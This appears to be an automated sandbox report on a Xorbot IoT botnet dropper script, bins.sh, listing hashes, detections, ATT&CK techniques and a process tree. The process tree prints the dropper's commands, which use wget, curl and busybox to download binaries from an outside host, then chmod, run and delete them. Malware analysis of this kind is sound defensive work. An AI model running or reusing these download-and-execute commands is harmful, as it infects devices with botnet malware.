xorbot | 6e025b2263805a84813cfadbec8d8c7597c3bf982fbd607227aa5d414fcb7f3d

Analysis

max time kernel
141s
max time network
150s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
02-12-2024 11:52

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General

Target

bins.sh
Size

10KB
MD5

76ba94435ced18162e80667193f2be3d
SHA1

c4b716bb58b39a008d3bcd886deb02c1570831e6
SHA256

6e025b2263805a84813cfadbec8d8c7597c3bf982fbd607227aa5d414fcb7f3d
SHA512

528dea460c90468ff2e16fd04cf86c314c358ff016f996d459ffda1d2b3c3d8f0bfa6aa411162979fb929c4eeca56b70ca4f7903bbd994f5ba22041e8854ca58
SSDEEP

192:FJf/fHfgf1fxf7F41556fzLF1DLf6RxizA7AYhy/+SEAYhy/+SLf6RxiK1M556f9:FCF4CF1DLf6RxKA7AYhy/+SEAYhy/+SM

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
740	chmod
826	chmod

Executes dropped EXE 2 IoCs

Processes:

hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCudinkZKlTgr6s67SdluZEE36lpBTGzi3I1P0

ioc	pid	Process
/tmp/hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCud	741	hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCud
/tmp/inkZKlTgr6s67SdluZEE36lpBTGzi3I1P0	827	inkZKlTgr6s67SdluZEE36lpBTGzi3I1P0

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlcurl

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

wgetcurlbusyboxwget

pid	Process
712	wget
736	curl
739	busybox
830	wget

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurlbusyboxwgetcurl

description	ioc	Process
File opened for modification	/tmp/hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCud	busybox
File opened for modification	/tmp/inkZKlTgr6s67SdluZEE36lpBTGzi3I1P0	wget
File opened for modification	/tmp/inkZKlTgr6s67SdluZEE36lpBTGzi3I1P0	curl
File opened for modification	/tmp/inkZKlTgr6s67SdluZEE36lpBTGzi3I1P0	busybox
File opened for modification	/tmp/hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCud	wget
File opened for modification	/tmp/hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCud	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:707
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:710
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCud
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:712
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCud
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCud
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:739
- /bin/chmod
  chmod 777 hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCud
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCud
  ./hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCud
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/rm
  rm hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCud
  2⤵
  PID:743
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/inkZKlTgr6s67SdluZEE36lpBTGzi3I1P0
  2⤵
  - Writes file to tmp directory
  PID:744
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/inkZKlTgr6s67SdluZEE36lpBTGzi3I1P0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/inkZKlTgr6s67SdluZEE36lpBTGzi3I1P0
  2⤵
  - Writes file to tmp directory
  PID:825
- /bin/chmod
  chmod 777 inkZKlTgr6s67SdluZEE36lpBTGzi3I1P0
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/inkZKlTgr6s67SdluZEE36lpBTGzi3I1P0
  ./inkZKlTgr6s67SdluZEE36lpBTGzi3I1P0
  2⤵
  - Executes dropped EXE
  PID:827
- /bin/rm
  rm inkZKlTgr6s67SdluZEE36lpBTGzi3I1P0
  2⤵
  PID:829
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/NoIM6i0jFmFlGPux4MrXvi78Hzg24seQ0X
  2⤵
  - System Network Configuration Discovery
  PID:830

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCud

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

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/tmp/inkZKlTgr6s67SdluZEE36lpBTGzi3I1P0

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

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